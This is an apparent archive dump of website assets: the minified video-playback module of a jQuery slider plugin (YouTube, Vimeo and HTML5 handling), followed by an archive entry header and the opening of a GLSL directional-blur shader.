screen.width==t.winW&&Math.abs(screen.height-t.getWinH(e))0)&&(r.vimeoplayer.setCurrentTime(-1==r.ssec?0:r.ssec),r.vimeoplayer.pause()),0!=r.jsposter.length||r.bgvideo||"preset"===a||t.showVideo(e.find("iframe"));break;case"html5":if(t.ISM&&r.notonmobile)return!1;r.bgvideo||t.showVideo(r.jvideo),r.rwd&&"playing"!==r.cSS&&!isNaN(r.video.duration)&&(r.justReseted=!0,r.video.currentTime=-1==r.ssec?0:r.ssec),("mute"==r.volume||t.lastToggleState(e.videomutetoggledby)||!0===t[i].globalmute)&&(r.video.muted=!0)}}},Mute:function(e,i,a){var r=!1,o=t[i].videos[e[0].id];switch(o.type){case"youtube":o.player&&(!0===a&&o.player.mute(),!1===a&&n(o,parseInt(o.volcache,0)),r=o.player.isMuted());break;case"vimeo":o.volcachecheck||(o.volcache=o.volcache>1?o.volcache/100:o.volcache,o.volcachecheck=!0),o.volume=!0===a?"mute":!1===a?o.volcache:o.volume,void 0!==a&&null!=o.vimeoplayer&&s(o,!0===a?0:o.volcache),r="mute"==o.volume||0===o.volume;break;case"html5":o.volcachecheck||(o.volcache=o.volcache>1?o.volcache/100:o.volcache,o.volcachecheck=!0),o.video.volume=o.volcache,void 0!==a&&o.video&&(o.video.muted=a),r=void 0!==o.video?o.video.muted:r}if(void 0===a)return r},stopVideo:function(e,i,a){if(void 0!==t[i]&&void 0!==t[i]){var r=t[i].videos[e[0].id];if(void 0!==r&&("stopVideo"!==r.cRS||"paused"!==r.cSS))switch(r.cRS="stopVideo",t[i].leaveViewPortBasedStop||(t[i].lastplayedvideos=[]),t[i].leaveViewPortBasedStop=!1,r.type){case"youtube":void 0!==r.player&&2!==r.player.getPlayerState()&&5!==r.player.getPlayerState()&&(r.player.pauseVideo(),void 0!==a&&p(i,r,"hide"));break;case"vimeo":void 0!==r.vimeoplayer&&(r.vimeoplayer.pause(),void 0!==a&&p(i,r,"hide"));break;case"html5":r.video&&(r.video.pause(),t.ISM&&b(r,1))}}},playVideo:function(e,i,r){var o=t[i].videos[e[0].id];if(clearTimeout(o.videoplaywait),"playVideo"!==o.cRS||"playing"!==o.cSS)switch(o.cRS="playVideo",o.type){case"youtube":if(0==e.find("iframe").length)e.append(o.videomarkup),u(e,i,!0);else if(void 0!==o.player&&null!=o.player.playVideo){var s=o.player.getCurrentTime();o.nseTriggered&&(s=-1,o.nseTriggered=!1),-1!=o.ssec&&o.ssec>s&&o.player.seekTo(o.ssec),c(o)}else o.videoplaywait=setTimeout(function(){t.playVideo(e,i)},50);break;case"vimeo":if(0==e.find("iframe").length)delete o.vimeoplayer,e.append(o.videomarkup),u(e,i,!0);else if(e.hasClass("rs-apiready"))if(o.vimeoplayer=null==o.vimeoplayer?new Vimeo.Player(e.find("iframe").attr("id")):o.vimeoplayer,o.vimeoplayer.getPaused()){s=void 0===o.currenttime?0:o.currenttime;o.nseTriggered&&(s=-1,o.nseTriggered=!1),-1!=o.ssec&&o.ssec>s&&o.vimeoplayer.setCurrentTime(o.ssec),("mute"==o.volume||0===o.volume||t.lastToggleState(e.data("videomutetoggledby"))||!0===t[i].globalmute)&&(o.volumetoken=!0,o.vimeoplayer.setMuted(!0)),d(o)}else o.videoplaywait=setTimeout(function(){t.playVideo(e,i)},50);else o.videoplaywait=setTimeout(function(){t.playVideo(e,i)},50);break;case"html5":if(o.metaloaded){if((""+o.video.duration=="NaN"||o.video.readyState<4)&&!r)return o.loadRequested||(o.video.load(),o.loadRequested=!0),void setTimeout(function(){t.playVideo(e,i)},50);s=o.video.currentTime;o.nseTriggered&&(s=-1,o.nseTriggered=!1),-1!=o.ssec&&o.ssec>s&&o.ssec1?o.ratio.split(":")[0]/o.ratio.split(":")[1]:1;var s,n=i/a,l=o.vd*n*100,d=o.vd/n*100;"Edge"===t.get_browser()||"IE"===t.get_browser()?s=n>o.vd?{minWidth:"100%",height:l+"%",x:"-50%",y:"-50%",top:"50%",left:"50%",position:"absolute"}:{minHeight:"100%",width:d+"%",x:"-50%",y:"-50%",top:"50%",left:"50%",position:"absolute"}:(o.bgvideo&&void 0!==o.vimeoid&&"carousel"==t[e].sliderType&&(l=100,d=100),s=n>o.vd?{height:(o.fitCover?100:l)+"%",width:"100%",top:o.fitCover?0:-(l-100)/2+"%",left:"0px",position:"absolute"}:{width:(o.fitCover?100:d)+"%",height:"100%",left:o.fitCover?0:-(d-100)/2+"%",top:"0px",position:"absolute"}),void 0===o.vimeoid&&void 0===o.ytid||(s.maxWidth="none",s.maxHeight="none"),tpGS.gsap.set(o.jvideo,s)}}else t[e].resizePrepareCoverVideolistener=setTimeout(function(){t.prepareCoveredVideo(e)},100)},checkVideoApis:function(e,i){location.protocol;if(!t[i].youtubeapineeded){var a=e.find("iframe");if((null!=e.data("ytid")||a.length>0&&a.attr("src")&&a.attr("src").toLowerCase().indexOf("youtube")>0)&&(t[i].youtubeapineeded=!0),t[i].youtubeapineeded&&!window.rs_addedyt){t[i].youtubestarttime=Date.now(),window.rs_addedyt=!0;var r=document.createElement("script"),o=t.getByTag(document,"script")[0],s=!0;r.src="https://www.youtube.com/iframe_api",jQuery("head").find("*").each(function(){"https://www.youtube.com/iframe_api"==jQuery(this).attr("src")&&(s=!1)}),s&&o.parentNode.insertBefore(r,o)}}if(!t[i].vimeoapineeded){var n=e.find("iframe");if((null!=e.data("vimeoid")||n.length>0&&n.attr("src")&&n.attr("src").toLowerCase().indexOf("vimeo")>0)&&(t[i].vimeoapineeded=!0),t[i].vimeoapineeded&&!window.rs_addedvim){t[i].vimeostarttime=Date.now(),window.rs_addedvim=!0;var l=document.createElement("script");o=t.getByTag(document,"script")[0],s=!0;l.src="https://player.vimeo.com/api/player.js",jQuery("head").find("*").each(function(){"https://player.vimeo.com/api/player.js"==jQuery(this).attr("src")&&(s=!1)}),s&&o.parentNode.insertBefore(l,o)}}},manageVideoLayer:function(e,i,r,o){if(t[i].videos=void 0===t[i].videos?{}:t[i].videos,void 0===t[i].videos[e[0].id]||!0===o){var s=t[i].videos[e[0].id]=void 0===t[i].videos[e[0].id]?f(e.data(),void 0,r):t[i].videos[e[0].id];if(s.audio=void 0!==s.audio&&s.audio,t.ISM&&s.opom)0==e.find("rs-poster").length&&e.append('');else{s.jsposter=e.find("rs-poster"),s.id=e[0].id,s.pload="auto"===s.pload||"canplay"===s.pload||"canplaythrough"===s.pload||"progress"===s.pload?"auto":s.pload,s.type=null!=s.mp4||null!=s.webm?"html5":null!=s.ytid&&String(s.ytid).length>1?"youtube":null!=s.vimeoid&&String(s.vimeoid).length>1?"vimeo":"none",s.newtype="html5"==s.type&&0==e.find(s.audio?"audio":"video").length?"html5":"youtube"==s.type&&0==e.find("iframe").length?"youtube":"vimeo"==s.type&&0==e.find("iframe").length?"vimeo":"none",s.extras="",s.posterMarkup=void 0===s.posterMarkup?"":s.posterMarkup,!s.audio&&"1sttime"==s.aplay&&s.pausetimer&&s.bgvideo&&t.sA(e.closest("rs-slide")[0],"rspausetimeronce",1),s.audio||!s.bgvideo||!s.pausetimer||1!=s.aplay&&"true"!=s.aplay&&"no1sttime"!=s.aplay||t.sA(e.closest("rs-slide")[0],"rspausetimeralways",1),s.noInt&&e.find("*").addClass("rs-nointeraction"),!(null!=s.poster&&s.poster.length>2)||t.ISM&&s.npom||0==s.jsposter.length&&(s.posterMarkup+='');var n=!0;switch(s.cSS="created",s.cRS="created",s.newtype){case"html5":1==window.isSafari11&&(t[i].slideHasIframe=!0),s.audio&&e.addClass("rs-audio"),s.tag=s.audio?"audio":"video";var l="video"===s.tag&&(t.is_mobile()||t.isSafari11())?s.aplay&&"no1sttime"!==s.aplay||"true"===s.aplay?"muted playsinline autoplay":s.inline?" playsinline":"":"",d='
            ',c=s.bgvideo&&/^([\w]+\:)?\/\//.test(s.mp4)&&(-1===s.mp4.indexOf(location.host)||-1!==s.mp4.indexOf("."+location.host))&&s.crossOriginVideo?' crossOrigin="anonymous" ':"";d+="<"+s.tag+" "+l+" "+(s.controls&&"none"!==s.controls?" controls":"")+c+(s.bgvideo&&-1==l.indexOf("autoplay")?" autoplay":"")+(s.bgvideo&&-1==l.indexOf("muted")?" muted":"")+' style="'+("Edge"!==t.get_browser()?(s.fitCover?"object-fit:cover;background-size:cover;":"")+"opacity:0;width:100%; height:100%":"")+'" class="" '+(s.loop?"loop":"")+' preload="'+s.pload+'">',"video"===s.tag&&null!=s.webm&&"firefox"==t.get_browser().toLowerCase()&&(d=d+''),null!=s.mp4&&(d=d+'0?"audio/x-m4a":"audio/mpeg")+'" />'),null!=s.ogv&&(d=d+''),d+="
            ",d+=s.posterMarkup,s.controls&&!s.audio&&void 0===s.poster||s.bgvideo||(d+='
             
            '),s.videomarkup=d,n=!1,t.ISM&&s.notonmobile||t.isIE(8)||e.append(d),s.jvideo=e.find(s.tag),s.video=s.jvideo[0],s.html5vid=s.jvideo.parent(),a(s.video,"canplay",function(e){m(e,i),t.resetVideo(e,i)}(e));break;case"youtube":t[i].slideHasIframe=!0,s.controls&&"none"!==s.controls||(s.vatr=s.vatr.replace("controls=1","controls=0"),-1==s.vatr.toLowerCase().indexOf("controls")&&(s.vatr=s.vatr+"&controls=0")),(s.inline||"RS-BGVIDEO"===e[0].tagName)&&(s.vatr=s.vatr+"&playsinline=1"),-1!=s.ssec&&(s.vatr+="&start="+s.ssec),-1!=s.esec&&(s.vatr+="&end="+s.esec);var p=s.vatr.split("origin=https://");s.vatrnew=p.length>1?p[0]+"origin=https://"+(self.location.href.match(/www/gi)&&!p[1].match(/www/gi)?"www."+p[1]:p[1]):s.vatr,s.videomarkup='';break;case"vimeo":t[i].slideHasIframe=!0,s.vatr=s.vatr.replaceAll("&background=0","").replaceAll("&background=1",""),s.vatr=s.vatr.replaceAll("background=0","").replaceAll("background=1",""),!s.controls||"none"===s.controls||s.bgvideo?(s.vatr=s.vatr.replace("background=0","background=1"),-1==s.vatr.toLowerCase().indexOf("background")&&(s.vatr=s.vatr+"&background=1")):(s.vatr=s.vatr.replace("background=1","background=0"),-1==s.vatr.toLowerCase().indexOf("background")&&(s.vatr=s.vatr+"&background=0")),s.vatr="autoplay="+(!0===s.aplay?1:0)+("&"==s.vatr[0]?"":"&")+s.vatr,s.bgvideo&&(s.prePlayForaWhile=!0),t.ISM&&!0===s.aplay&&(s.vatr="muted=1"+("&"==s.vatr[0]?"":"&")+s.vatr),s.loop&&(s.vatr="loop=1"+("&"==s.vatr[0]?"":"&")+s.vatr),s.videomarkup=''}if(!(null!=s.poster&&s.poster.length>2)||t.ISM&&s.npom){if(t.ISM&&s.notonmobile)return!1;0!=e.find("iframe").length||"youtube"!=s.type&&"vimeo"!=s.type||(delete s.vimeoplayer,e.append(s.videomarkup),u(e,i,!("vimeo"!==s.newtype||!s.bgvideo),!0))}else n&&0==e.find("rs-poster").length&&e.append(s.posterMarkup),0==e.find("iframe").length&&(s.jsposter=e.find("rs-poster"),s.jsposter.on("click",function(){if(t.playVideo(e,i,!0),t.ISM){if(s.notonmobile)return!1;tpGS.gsap.to(s.jsposter,.3,{opacity:0,visibility:"hidden",force3D:"auto",ease:"power3.inOut"}),t.showVideo(e.find("iframe"))}}));if("none"!==s.doverlay&&void 0!==s.doverlay){var g=t.createOverlay(i,s.doverlay,s.doverlaysize,{0:s.doverlaycolora,1:s.doverlaycolorb});s.bgvideo&&1!=e.closest("rs-sbg-wrap").find("rs-dotted").length?e.closest("rs-sbg-wrap").append(''):s.bgvideo||1==e.find("rs-dotted").length||e.append('')}s.bgvideo&&("youtube"!==s.type&&"vimeo"!==s.type&&(e[0].style.display="none"),e[0].style.zIndex=0,tpGS.gsap.set(e.find("video, iframe"),{opacity:0}))}}}});var a=function(e,t,i){e.addEventListener?e.addEventListener(t,i,{capture:!1,passive:!0}):e.attachEvent(t,i,{capture:!1,passive:!0})},r=function(e,t,i){var a={};return a.video=e,a.type=t,a.settings=i,a},o=function(e,i){var a=t[e].videos[i[0].id];(a.bgvideo||i.hasClass("rs-fsv"))&&((void 0===a.ratio||a.ratio.split(":").length<=1)&&(a.ratio="16:9"),requestAnimationFrame(function(){t.prepareCoveredVideo(e)}))},s=function(e,i){var a=e.vimeoplayer;a.getPaused().then(function(r){e.volumetoken=!0;var o=!r,s=a.setVolume(i);void 0!==s&&s.then(function(t){a.getPaused().then(function(t){o===t&&(e.volume="mute",a.getMuted().then(function(t){t||(e.volumetoken=!0,a.setMuted(!0))}),a.play())}).catch(function(e){console.log("Get Paused Function Failed for Vimeo Volume Changes Inside the Promise")})}).catch(function(i){o&&(e.volume="mute",e.volumetoken=!0,a.setMuted(!0),a.play()),t.ISM&&b(e,0)})}).catch(function(){console.log("Get Paused Function Failed for Vimeo Volume Changes")})},n=function(e,t){var i=e.player.getPlayerState();"mute"===t?e.player.mute():(e.player.unMute(),e.player.setVolume(t)),setTimeout(function(){1===i&&1!==e.player.getPlayerState()&&(e.player.mute(),e.player.playVideo())},39)},l=function(e,i,a){if("playVideo"===e.cRS){var r=e.video.play();void 0!==r&&r.then(function(i){!0===e.twaudio&&!0!==t[a].globalmute&&(e.twaudio=!1,t.clickedOnce&&(e.video.volume=e.volcache,e.volume=e.volcache,e.video.muted=!1))}).catch(function(t){e.video.pause(),!0!==i&&l(e,!0,a)}),t.ISM&&b(e,0)}},d=function(e){if("playVideo"===e.cRS){var t=e.vimeoplayer.play();void 0!==t&&t.then(function(e){}).catch(function(t){e.vimeoplayer.volumetoken=!0,e.vimeoplayer.setMuted(!0),e.vimeoplayer.play()})}},c=function(e){"playVideo"===e.cRS&&e.player.playVideo()},p=function(e,i,a,r){clearTimeout(i.repeatedPosterCalls),i.repeatedPosterCalls=setTimeout(function(){"show"===a||"playing"===i.cSS&&!0!==i.VideoIsVisible?(void 0!==i.showhideposter&&i.showhideposter.pause(),i.showhideposter=tpGS.gsap.timeline(),i.jsposter.length>0&&i.showhideposter.add(tpGS.gsap.to(i.jsposter,.3,{zIndex:5,autoAlpha:0,force3D:"auto",ease:"power3.inOut"}),0),i.jvideo.length>0&&i.showhideposter.add(tpGS.gsap.to(i.jvideo,void 0!==r?r:.001,{opacity:1,display:"block",ease:i.jsposter.length>0?"power3.inOut":"power3.out"}),0),i.VideoIsVisible=!0):("hide"===a||"paused"===i.cSS&&1!=t.checkfullscreenEnabled(e)&&i.jsposter.length>0&&!1!==i.VideoIsVisible&&!0!==i.seeking)&&(void 0!==i.showhideposter&&i.showhideposter.pause(),i.showhideposter=tpGS.gsap.timeline(),i.jsposter.length>0&&i.showhideposter.add(tpGS.gsap.to(i.jsposter,.3,{zIndex:5,autoAlpha:1,force3D:"auto",ease:"power3.inOut"}),0),i.jvideo.length>0&&i.showhideposter.add(tpGS.gsap.to(i.jvideo,void 0!==r?r:.001,{opacity:0,ease:i.jsposter.length>0?"power3.inOut":"power3.out"}),.3),i.bgvideo&&void 0!==i.nBG&&void 0!==i.nBG.loadobj&&(i.nBG.video=i.nBG.loadobj.img),i.VideoIsVisible=!1)},void 0!==a?0:100)},g=function(e,i,a){e.cSS="playing",e.vimeostarted=!0,e.nextslidecalled=!1,e.jsposter=void 0===e.jsposter||0===e.jsposter.length?i.find("rs-poster"):e.jsposter,e.jvideo=i.find("iframe"),t[a].c.trigger("revolution.slide.onvideoplay",r(e.vimeoplayer,"vimeo",e)),t[a].stopByVideo=e.pausetimer,y(i,a),"mute"==e.volume||0===e.volume||t.lastToggleState(i.data("videomutetoggledby"))||!0===t[a].globalmute?(e.volumetoken=!0,e.vimeoplayer.setMuted(!0)):s(e,parseInt(e.volcache,0)/100||.75),t.toggleState(e.videotoggledby)},u=function(e,i,a,s){var l=t[i].videos[e[0].id],d="iframe"+Math.round(1e5*Math.random()+1);if(l.jvideo=e.find("iframe"),o(i,e),l.jvideo.attr("id",d),l.startvideonow=a,l.videolistenerexist){if(a)switch(l.type){case"youtube":t.playVideo(e,i),-1!=l.ssec&&l.player.seekTo(l.ssec);break;case"vimeo":t.playVideo(e,i),-1!=l.ssec&&l.vimeoplayer.seekTo(l.ssec)}}else switch(l.type){case"youtube":if("undefined"==typeof YT||void 0===YT.Player)return t.checkVideoApis(e,i),void setTimeout(function(){u(e,i,a,s)},50);l.player=new YT.Player(d,{events:{onStateChange:function(a){a.data==YT.PlayerState.PLAYING?(l.cSS="playing",t[i].onceVideoPlayed=!0,!1===l.player.isMuted()&&(l.volume=l.volcache=l.player.getVolume()),"mute"==l.volume||0===l.volume||t.lastToggleState(e.data("videomutetoggledby"))||!0===t[i].globalmute?l.player.mute():n(l,parseInt(l.volcache,0)||75),t[i].stopByVideo=!0,y(e,i),l.pausetimer?t[i].c.trigger("stoptimer"):t[i].stopByVideo=!1,t[i].c.trigger("revolution.slide.onvideoplay",r(l.player,"youtube",l)),t.toggleState(l.videotoggledby)):(l.cSS="paused",0==a.data&&l.loop&&(-1!=l.ssec&&l.player.seekTo(l.ssec),t.playVideo(e,i),t.toggleState(l.videotoggledby)),-1!=a.data&&3!=a.data&&(t[i].stopByVideo=!1,t[i].tonpause=!1,w(e,i),t[i].c.trigger("starttimer"),t[i].c.trigger("revolution.slide.onvideostop",r(l.player,"youtube",l)),null!=t[i].videoIsPlaying&&t[i].videoIsPlaying.attr("id")!=e.attr("id")||t.unToggleState(l.videotoggledby)),0==a.data&&l.nse?(document.fullscreenElement!==e.find("iframe")[0]&&document.webkitFullscreenElement!==e.find("iframe")[0]||h(),l.nseTriggered=!0,t[i].c.revnext(),w(e,i)):(w(e,i),t[i].stopByVideo=!1,3!==a.data&&(-1!=l.lasteventdata&&3!=l.lasteventdata&&void 0!==l.lasteventdata||-1!=a.data&&3!=a.data)&&t[i].c.trigger("starttimer"),t[i].c.trigger("revolution.slide.onvideostop",r(l.player,"youtube",l)),null!=t[i].videoIsPlaying&&t[i].videoIsPlaying.attr("id")!=e.attr("id")||t.unToggleState(l.videotoggledby))),clearTimeout(l.postOrVideoTimer),3!==a.data&&(l.postOrVideoTimer=setTimeout(function(){p(i,l)},1===l.lasteventdata&&2===a.data||2===l.lasteventdata&&3!==a.data?1e3:0),l.lasteventdata=a.data)},onReady:function(a){var r,o=t.is_mobile(),n=e.hasClass("rs-layer-video");l.ready=!0,!o&&(!t.isSafari11()||o&&n)||"RS-BGVIDEO"!==e[0].tagName&&(!n||!0!==l.aplay&&"true"!==l.aplay)||(r=!0,l.player.setVolume(0),l.volume="mute",l.player.mute(),clearTimeout(e.data("mobilevideotimr")),2!==l.player.getPlayerState()&&-1!==l.player.getPlayerState()||e.data("mobilevideotimr",setTimeout(function(){t.playVideo(e,i)},500))),r||"mute"!=l.volume||(l.player.setVolume(0),l.player.mute()),e.addClass("rs-apiready"),null==l.speed&&1===l.speed||a.target.setPlaybackRate(parseFloat(l.speed)),l.jsposter.off("click"),l.jsposter.on("click",function(){t.playVideo(e,i,!0)}),l.startvideonow?(t.playVideo(e,i),-1!=l.ssec&&l.player.seekTo(l.ssec)):s&&p(i,l,"show",.2),l.videolistenerexist=!0}}});break;case"vimeo":if("undefined"==typeof Vimeo||void 0===Vimeo.Player)return t.checkVideoApis(e,i),void setTimeout(function(){u(e,i,a,s)},50);for(var c,m=l.jvideo.attr("src"),v={},f=m,b=/([^&=]+)=([^&]*)/g;c=b.exec(f);)v[decodeURIComponent(c[1])]=decodeURIComponent(c[2]);m=(m=null!=v.player_id?m.replace(v.player_id,d):m+"&player_id="+d).replace(/&api=0|&api=1/g,"");var _,S=t.is_mobile()||t.isSafari11(),x="RS-BGVIDEO"===e[0].tagName;if(S&&x&&(m+="&background=1"),l.jvideo.attr("src",m),l.vimeoplayer=void 0===l.vimeoplayer||!1===l.vimeoplayer?new Vimeo.Player(d):l.vimeoplayer,S)x?_=!0:(l.aplay||"true"===l.aplay)&&(_=!0),_&&(l.volumetoken=!0,l.vimeoplayer.setMuted(!0),l.volume="mute");l.vimeoplayer.on("play",function(a){t[i].onceVideoPlayed=!0,l.cSS="playing",l.vimeostarted||g(l,e,i)}),l.vimeoplayer.on("loaded",function(a){var r={};l.vimeoplayer.getVideoWidth().then(function(t){r.width=t,void 0!==r.width&&void 0!==r.height&&(l.ratio=r.width+":"+r.height,l.vimeoplayerloaded=!0,o(i,e))}),l.vimeoplayer.getVideoHeight().then(function(t){r.height=t,void 0!==r.width&&void 0!==r.height&&(l.ratio=r.width+":"+r.height,l.vimeoplayerloaded=!0,o(i,e))}),l.startvideonow?("mute"===l.volume&&(l.volumetoken=!0,l.vimeoplayer.setMuted(!0)),t.playVideo(e,i),-1!=l.ssec&&l.vimeoplayer.setCurrentTime(l.ssec)):s&&p(i,l,"show",.2),null==l.speed&&1===l.speed||l.vimeoplayer.setPlaybackRate(parseFloat(l.speed))}),e.addClass("rs-apiready"),l.vimeoplayer.on("volumechange",function(e){l.volumetoken&&(l.volume=e.volume),l.volumetoken=!1}),l.vimeoplayer.on("timeupdate",function(a){p(i,l),l.vimeostarted||0===a.percent||void 0!==t[i].activeRSSlide&&l.slideid!==t.gA(t[i].slides[t[i].activeRSSlide],"key")||g(l,e,i),l.pausetimer&&"playing"==t[i].sliderstatus&&(t[i].stopByVideo=!0,t[i].c.trigger("stoptimer")),l.currenttime=a.seconds,0!=l.esec&&-1!==l.esec&&l.esec ');var n="video, rs-poster, .tp-video-play-button";void 0!==s.poster&&s.controls&&(n=".tp-video-play-button"),e.find(n).on("click",function(){!1===s.loop&&s.esec>0&&s.esec<=s.video.currentTime||(e.hasClass("videoisplaying")?t.stopVideo(e,i):t.playVideo(e,i,!0))})}(e.hasClass("rs-fsv")||s.bgvideo)&&(s.bgvideo||e.hasClass("rs-fsv")?(s.html5vid.addClass("fullcoveredvideo"),void 0!==s.ratio&&1!=s.ratio.split(":").length||(s.ratio="16:9"),t.prepareCoveredVideo(i)):s.html5vid.addClass("rs-fsv")),a(s.video,"canplaythrough",function(){t.preLoadAudioDone(e,i,"canplaythrough")}),a(s.video,"canplay",function(){t.preLoadAudioDone(e,i,"canplay")}),a(s.video,"progress",function(){t.preLoadAudioDone(e,i,"progress")}),a(s.video,"pause",function(){t.ISM&&b(s,1)}),a(s.video,"timeupdate",function(e){this.BGrendered=!0,p(i,s),-1===s.esec&&s.loop&&1==window.isSafari11&&(s.esec=s.video.duration-.075),void 0!==s.lastCurrentTime?s.fps=s.video.currentTime-s.lastCurrentTime:s.fps=.1,s.lastCurrentTime=s.video.currentTime,0!=s.esec&&-1!=s.esec&&s.esec1?s.volcache/100:s.volcache,"mute"==s.volume?s.video.muted=!0:null!=s.volcache&&(s.video.volume=s.volcache)),e.addClass("videoisplaying"),y(e,i),clearTimeout(s.showCoverSoon),!0!==s.pausetimer||"audio"==s.tag?(t[i].stopByVideo=!1,t[i].c.trigger("revolution.slide.onvideostop",r(s.video,"html5",s))):(t[i].stopByVideo=!0,t[i].c.trigger("revolution.slide.onvideoplay",r(s.video,"html5",s))),s.pausetimer&&"playing"==t[i].sliderstatus&&(t[i].stopByVideo=!0,t[i].c.trigger("stoptimer")),t.toggleState(s.videotoggledby)}),a(s.video,"seeked",function(){s.seeking=!1}),a(s.video,"seeking",function(){s.seeking=!0}),a(s.video,"pause",function(a){s.cSS="paused",p(i,s),e.removeClass("videoisplaying"),s.bgvideo&&(s.nBG.drawVideoCanvasImagesRecall=!1,s.nBG.videoisplaying=!1),t[i].stopByVideo=!1,w(e,i),"audio"!=s.tag&&t[i].c.trigger("starttimer"),t[i].c.trigger("revolution.slide.onvideostop",r(s.video,"html5",s)),null!=t[i].videoIsPlaying&&t[i].videoIsPlaying.attr("id")!=e.attr("id")||t.unToggleState(s.videotoggledby)}),a(s.video,"ended",function(){s.cSS="paused",document.fullscreenElement!==s.video&&document.webkitFullscreenElement!==s.video||h(),p(i,s),w(e,i),t[i].stopByVideo=!1,w(e,i),"audio"!=s.tag&&t[i].c.trigger("starttimer"),t[i].c.trigger("revolution.slide.onvideostop",r(s.video,"html5",e.data())),s.nse&&s.video.currentTime>0&&(1==!t[i].jcnah&&(s.nseTriggered=!0,t[i].c.revnext(),t[i].jcnah=!0),setTimeout(function(){t[i].jcnah=!1},1500)),e.removeClass("videoisplaying"),s.bgvideo&&(s.nBG.drawVideoCanvasImagesRecall=!1,s.nBG.videoisplaying=!1),!0!==t[i].inviewport&&void 0!==t[i].inviewport||(t[i].lastplayedvideos=[])}),a(s.video,"volumechange",function(){s.video.muted?s.volume="mute":s.volume=s.volcache=s.video.volume})},v=function(e){return"t"===e||!0===e||"true"===e||"f"!==e&&!1!==e&&"false"!==e&&e},f=function(e,t,a){e.audio="audio"===t;var r=void 0===e.video?[]:e.video.split(";"),o={volume:e.audio?1:"mute",pload:"auto",ratio:"16:9",loop:!0,aplay:"true",fitCover:!0,afs:!0,controls:!1,nse:!0,npom:!1,opom:!1,inline:!0,notonmobile:!1,start:-1,end:-1,doverlay:"none",doverlaysize:1,doverlaycolora:"transparent",doverlaycolorb:"#000000",scop:!1,rwd:!0,speed:1,ploadwait:5,stopAV:1!==e.bgvideo,noInt:!1,volcache:75,crossOriginVideo:!1};for(var s in r)if(r.hasOwnProperty(s)){var n=r[s].split(":");switch(n[0]){case"v":o.volume=n[1];break;case"twa":o.twaudio=n[1];break;case"vd":o.volcache=n[1];break;case"p":o.pload=n[1];break;case"ar":o.ratio=n[1]+(void 0!==n[2]?":"+n[2]:"");break;case"ap":o.aplay=v(n[1]);break;case"vfc":o.fitCover=v(n[1]);break;case"afs":o.afs=v(n[1]);break;case"vc":o.controls=n[1];break;case"nse":o.nse=v(n[1]);break;case"npom":o.npom=v(n[1]);break;case"opom":o.opom=v(n[1]);break;case"t":o.vtype=n[1];break;case"inl":o.inline=v(n[1]);break;case"nomo":o.notonmobile=v(n[1]);break;case"sta":o.start=n[1]+(void 0!==n[2]?":"+n[2]:"");break;case"end":o.end=n[1]+(void 0!==n[2]?":"+n[2]:"");break;case"do":o.doverlay=n[1];break;case"dos":o.doverlaysize=n[1];break;case"doca":o.doverlaycolora=n[1];break;case"docb":o.doverlaycolorb=n[1];break;case"scop":o.scop=v(n[1]);break;case"rwd":o.rwd=v(n[1]);break;case"sp":o.speed=n[1];break;case"vw":o.ploadwait=parseInt(n[1],0)||5;break;case"sav":o.stopAV=v(n[1]);break;case"noint":o.noInt=v(n[1]);break;case"l":o.loopcache=n[1],o.loop="loop"===n[1]||"loopandnoslidestop"===n[1]||"none"!==n[1]&&v(n[1]);break;case"ptimer":o.pausetimer=v(n[1]);break;case"sat":o.waitToSlideTrans=v(n[1]);break;case"crossOriginVideo":o.crossOriginVideo=v(n[1]);break;case"poch":o.pauseOnSlideChange=v(n[1])}}return null==e.mp4&&null==e.webm&&(o.fitCover=!1),void 0!==e.bgvideo&&(o.bgvideo=e.bgvideo),o.noInt&&(o.controls=!1),void 0!==e.mp4&&(o.mp4=e.mp4),void 0!==e.videomp4&&(o.mp4=e.videomp4),void 0!==e.ytid&&(o.ytid=e.ytid),void 0!==e.ogv&&(o.ogv=e.ogv),void 0!==e.webm&&(o.webm=e.webm),void 0!==e.vimeoid&&(o.vimeoid=e.vimeoid),void 0!==e.vatr&&(o.vatr=e.vatr),void 0!==e.videoattributes&&(o.vatr=e.videoattributes),void 0!==e.poster&&(o.poster=e.poster),o.slideid=a,o.aplay="true"===o.aplay||o.aplay,1===o.bgvideo&&(o.volume="mute"),o.ssec=i(o.start),o.esec=i(o.end),o.pausetimer=void 0===o.pausetimer?"loopandnoslidestop"!==o.loopcache:o.pausetimer,o.inColumn=e._incolumn,o.audio=e.audio,!0!==o.loop&&"true"!==o.loop||!0!==o.nse&&"true"!==o.nse||(o.loop=!1),o.aplay&&o.twaudio&&!o.bgvideo&&(o.twaudio=!0),o},y=function(e,i){if(t[i].playingvideos=void 0===t[i].playingvideos?new Array:t[i].playingvideos,t[i].videos[e[0].id].stopAV&&void 0!==t[i].playingvideos&&t[i].playingvideos.length>0)for(var a in t[i].lastplayedvideos=jQuery.extend(!0,[],t[i].playingvideos),t[i].playingvideos)t[i].playingvideos.hasOwnProperty(a)&&t.stopVideo(t[i].playingvideos[a],i);t[i].playingvideos.push(e),t[i].videoIsPlaying=e},w=function(e,i){void 0!==t[i]&&void 0!==t[i]&&null!=t[i].playingvideos&&jQuery.inArray(e,t[i].playingvideos)>=0&&t[i].playingvideos.splice(jQuery.inArray(e,t[i].playingvideos),1)},b=function(e,i){if(void 0!==e&&(void 0===i&&(i=0),t.ISM&&!e.bgvideo)){e.playPauseBtnTween&&e.playPauseBtnTween.kill&&e.playPauseBtnTween.kill();var a=t.closestNode(e.video,"RS-LAYER"),r=e.controls?1:0,o=e.controls?0:.3;e.controls&&e.poster&&0===i&&(o=0,r=0),a&&(e.playPauseBtnTween=tpGS.gsap.to(a.querySelector(".tp-video-play-button"),{duration:o,delay:r,opacity:i}))}};window.RS_MODULES=window.RS_MODULES||{},window.RS_MODULES.video={loaded:!0,version:"6.6.9"},window.RS_MODULES.checkMinimal&&window.RS_MODULES.checkMinimal()}(jQuery);public/assets/js/index.php000060400000000033151724235750011563 0ustar00 varying vec2 vUv; uniform sampler2D tColor; uniform float progress; uniform float intensity; uniform float left; uniform float top; int Samples = 64; #include vec4 DirectionalBlur(in vec2 UV, in vec2 Direction, in float Intensity, in sampler2D Texture) { vec4 Color = vec4(0.0); for (int i=1; i<=Samples/2; i++) { Color += TEXTURE2D(Texture,UV+float(i)*Intensity/float(Samples/2)*Direction); Color += TEXTURE2D(Texture,UV-float(i)*Intensity/float(Samples/2)*Direction); } return Color/float(Samples); } void main() { vec2 uv = vUv; vec2 Direction = vec2(left, top); float Intensity = intensity; float m = progress; float mult = (m -0.5)*2.; Intensity *= (-(mult * mult) + 1.); Intensity *= 1.0 - step(1.0,m); vec4 Color = DirectionalBlur(uv,normalize(Direction), Intensity, tColor); 